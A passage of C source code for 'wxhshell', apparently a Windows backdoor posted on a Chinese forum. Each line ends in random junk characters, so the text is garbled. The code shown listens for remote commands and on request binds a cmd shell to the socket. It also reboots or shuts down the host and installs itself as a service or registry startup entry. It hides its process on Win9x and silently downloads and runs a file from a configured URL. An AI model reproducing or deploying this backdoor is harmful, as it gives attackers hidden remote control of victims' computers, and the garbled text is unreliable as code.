  else 0AF,} &$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D,|TQ Q  
  } 94|ZY}8|f  
  else { %d40us8E  
3<N2ehi?  
    switch(cmd[0]) { QDVSFGwr  
  BE],PCpPr  
  // 帮助 D:?"Rf{)  
  case '?': { ,-8Xb+!8I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fY?:SPR+  
    break; R y(<6u0  
  } !VsdKG)  
  // 安装 ~ 4Mz:h^  
  case 'i': { s&Al4>}.f  
    if(Install()) r`.Bj0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >j*0fb!:]  
    else dmcY]m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CfD4m,6  
    break; %_CL/H   
    } M?Q\ Hw  
  // 卸载 3)9e-@  
  case 'r': { -3wid1SOm  
    if(Uninstall()) 1zw,;m n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m7Ry FnR2  
    else Ktvs*.?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 59v=\; UI  
    break; RlU?F  
    } L; A#N9  
  // 显示 wxhshell 所在路径 r'_#rl  
  case 'p': { vpOGyvI  
    char svExeFile[MAX_PATH]; Z#[%JUYp'  
    strcpy(svExeFile,"\n\r"); =|dm#w_L"  
      strcat(svExeFile,ExeFile); *~cNUyd  
        send(wsh,svExeFile,strlen(svExeFile),0); lw?C:-m  
    break; w(X}  
    } U3v~R4  
  // 重启 fCnwDT  
  case 'b': { <:N$ $n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gp~-n7'~O  
    if(Boot(REBOOT)) ZtP/|P5@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !{ _:k%B  
    else { mo= @Zt  
    closesocket(wsh); LWSy"Cs*  
    ExitThread(0); 2`ERrh^i"  
    } $P#+Y,r~\  
    break; \IzZJGi  
    } ";jAHGbO  
  // 关机 xG Y!r"[  
  case 'd': { =,i?8Fuz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .L^;aL  
    if(Boot(SHUTDOWN)) >yqEXx5{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {!{T,_ J  
    else { pCa~:q*85  
    closesocket(wsh); a8%T*mk(  
    ExitThread(0); &9.3-E47*  
    } ?qn4 ea-\P  
    break; 8^^ehaxy  
    } XRyeEwA;pp  
  // 获取shell 7)Tix7:9S;  
  case 's': { \,:7=  
    CmdShell(wsh); #>BC|/P}  
    closesocket(wsh); 0TICv2l!  
    ExitThread(0); ,'l.u?SKyd  
    break; 20`XklV  
  } 6(1 &6|o3  
  // 退出 ,.gJ8p(0x  
  case 'x': { ;;U&mhz`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~EYdEqS)  
    CloseIt(wsh); FgPmQ  
    break; CPP9=CoR37  
    } a"1LF`  
  // 离开  wJvk  
  case 'q': { HBk5 p>&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b Hy<`p0  
    closesocket(wsh); S=~+e{  
    WSACleanup();  Y!|};  
    exit(1); 2Y=Q%  
    break; )coA30YR  
        } .Dr7YquW  
  } Tm~jYgJ  
  } F1`mq2^@  
WCp[6g&%O  
  // 提示信息 W^3'9nYU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /T 6Te<68^  
} =3,Sjme  
  } _,-\;  
p4b6TI9;  
  return; kQ)2DCb dn  
} W}wd?WIps  
-**fT?n  
// shell模块句柄 rj5)b:c}  
int CmdShell(SOCKET sock) BTE&7/i 21  
{ rmI@ #'  
STARTUPINFO si; }yCgd 5+_  
ZeroMemory(&si,sizeof(si)); i'#%t/ u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .3 ^*_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^$lsmF]^  
PROCESS_INFORMATION ProcessInfo; <)@^TRS  
char cmdline[]="cmd"; Ax!fvcsN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HlX7A 1i/  
  return 0; wKz*)C  
} e9B$"_ &2  
dBW#PRg  
// 自身启动模式 6M8(KN^  
int StartFromService(void) G&7 } m  
{ Gs}lw'pK  
typedef struct HL!"U (_  
{ P$G|o|h  
  DWORD ExitStatus; Fd9Z7C  
  DWORD PebBaseAddress; v/wR) 9  
  DWORD AffinityMask; E95VR?nUg  
  DWORD BasePriority; wtGb 3D"am  
  ULONG UniqueProcessId; Q9t.*+  
  ULONG InheritedFromUniqueProcessId; j!`2Z@  
}   PROCESS_BASIC_INFORMATION; `P9%[8`C 9  
]}A yDy6C  
PROCNTQSIP NtQueryInformationProcess; c-a;nAR  
:#W>lq@H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8L(KdDY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R~BW=Dz,e  
k :zGv  
  HANDLE             hProcess; >Q^*h}IdW  
  PROCESS_BASIC_INFORMATION pbi; N;e*eMFE  
s-xby~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -QP1Se*#  
  if(NULL == hInst ) return 0; o/\z4Ri)$  
 eYRm:KC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V{kgDpB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GP}+c8|2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N&lKo}hk  
Ad`jV_z  
  if (!NtQueryInformationProcess) return 0; *r]#jY4qx  
<8/lHQ^\)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <3Hu(Jx<O  
  if(!hProcess) return 0; ZsYT&P2  
JTB5#S4W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3836Di:{  
r yO\$m  
  CloseHandle(hProcess); p(Q5!3C0q  
bXiT}5mJU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jM3{A;U2  
if(hProcess==NULL) return 0; b fsTeW+  
[nlW}1)46  
HMODULE hMod; DFt1{qS8@u  
char procName[255]; ,#r>#fi0  
unsigned long cbNeeded; cf0D q~G  
5A6d]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #\$R^u]!  
m>6,{g)  
  CloseHandle(hProcess); puz~Rfn#*  
Vj"B#  
if(strstr(procName,"services")) return 1; // 以服务启动 PQ|kE`'  
K/jC>4/c/  
  return 0; // 注册表启动 i4N '[ P}  
} v >71 ?te  
(;'?56  
// 主模块 x,z+l-y  
int StartWxhshell(LPSTR lpCmdLine) >_]j{}~\k  
{ 2, ` =i  
  SOCKET wsl; l M5Xw  
BOOL val=TRUE; kfBVF%90  
  int port=0; FHI` /  
  struct sockaddr_in door; R1FBH:Iu  
W9?Vh{w  
  if(wscfg.ws_autoins) Install(); PK5xnT:  
|[?"$g9v  
port=atoi(lpCmdLine); ;K0kQ<y-Y  
hX]vZR&R  
if(port<=0) port=wscfg.ws_port; ,&!Txyye  
: \w\K:  
  WSADATA data; &gZ5dTj>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k9.2*+vvg  
XU .FLNe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   41WnKz9c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mjrl KI}f/  
  door.sin_family = AF_INET; Cw`v\ 9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [MYd15  
  door.sin_port = htons(port); |Gb"%5YD  
G_g~-[O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3ADT Yt".  
closesocket(wsl); INsc!xOQ  
return 1; ]%3o"|  
} $cFanra  
*BT-@V.4  
  if(listen(wsl,2) == INVALID_SOCKET) { |Z<NM#1  
closesocket(wsl); )%U&z>^P  
return 1; dX: (%_Mn  
} Glcl7f"<^  
  Wxhshell(wsl);  qm&}^S  
  WSACleanup(); |S|0'C*  
33DP0OBL^  
return 0; ~mx me6"v  
k!b\qS~Q  
} Z!60n{T79c  
Xy:'f".M~\  
// 以NT服务方式启动 }x`W+r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pHEhB9_A!  
{ i)g=Lew  
DWORD   status = 0; tzJdUZJ  
  DWORD   specificError = 0xfffffff; A9ia[2[  
iXK.QktHw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c_<m8b{AEF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mS5'q q;t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }(z[ rZ  
  serviceStatus.dwWin32ExitCode     = 0; ifl`QZp_  
  serviceStatus.dwServiceSpecificExitCode = 0; oE[wOq +  
  serviceStatus.dwCheckPoint       = 0; W# E`h  
  serviceStatus.dwWaitHint       = 0; l9"0Wu@_x  
;3OQgKI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )4>M<BO  
  if (hServiceStatusHandle==0) return; `@q[&^  
}&Un8Rg"h  
status = GetLastError(); OF&{mJH"g'  
  if (status!=NO_ERROR) #\[h.4i  
{ W\:!v%C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; orYE&  
    serviceStatus.dwCheckPoint       = 0; KSnU;B6w>  
    serviceStatus.dwWaitHint       = 0; Gf( hN|X.  
    serviceStatus.dwWin32ExitCode     = status; |9T3" _MmJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; KWbnSL8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rXc-V},az8  
    return; F]DRT6)  
  } $$ouqLu  
;= ^kTb`X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UjxEbk5>^  
  serviceStatus.dwCheckPoint       = 0; +?Vj}p;  
  serviceStatus.dwWaitHint       = 0; uvR9BL2=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s+IU%y/9$a  
} IX@g].)C  
%;ZWYj`]n  
// 处理NT服务事件,比如:启动、停止 "zFv? ay  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u"eO&Vc  
{ =OY&;d!C  
switch(fdwControl) !lxs1!:  
{ )c|S)iJ7=z  
case SERVICE_CONTROL_STOP: 7{F(NJUO1  
  serviceStatus.dwWin32ExitCode = 0; *FhD%><  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Axp#8  
  serviceStatus.dwCheckPoint   = 0; Z3jh-{0  
  serviceStatus.dwWaitHint     = 0; lO=+V 6  
  { Z9P rw/8P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [MLJs-*   
  } PL vz1}ts  
  return; R-odc,P=  
case SERVICE_CONTROL_PAUSE: 8/q6vk><  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hLF+_{\C|  
  break; =2+';Xk\  
case SERVICE_CONTROL_CONTINUE: &"X6s%ZH|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F>N3GPRl  
  break; ttQX3rmF01  
case SERVICE_CONTROL_INTERROGATE: X^204K%:  
  break; ]MI> "hn  
}; X( Q*(_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fpMnA  
} 2hB';Dv  
J6m`XC  
// 标准应用程序主函数 \1` L-lz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $xx5+A%,  
{ oh%kuO T[  
/JP]5M)   
// 获取操作系统版本 /48W]a}JS  
OsIsNt=GetOsVer(); CR*9-Y93  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nq'vq] ]  
"|1MJuY_6  
  // 从命令行安装 Ef fp^7 3  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9&'I?D&8  
Sr7+DCr  
  // 下载执行文件 vBUl6EmWu  
if(wscfg.ws_downexe) { A<6V$e$:2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o?G^=0T  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y`FGD25`  
} Dl862$_Q  
#=WDJ T:  
if(!OsIsNt) { 0m5Q;|mH  
// 如果时win9x,隐藏进程并且设置为注册表启动 0Sz&Oguv  
HideProc(); uO$ujbWZ  
StartWxhshell(lpCmdLine); kndP?#> p1  
} qA- ya6  
else (xU+Y1*g"%  
  if(StartFromService()) h;vD"!gP  
  // 以服务方式启动 0F'75  
  StartServiceCtrlDispatcher(DispatchTable); )k&pp^q\  
else ?KxI|os  
  // 普通方式启动 }9C5U>?  
  StartWxhshell(lpCmdLine); V07x+ovq  
,2>:h"^  
return 0; ~qNpPIrGr  
}
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只看该作者 1 发表于: 2006-10-10
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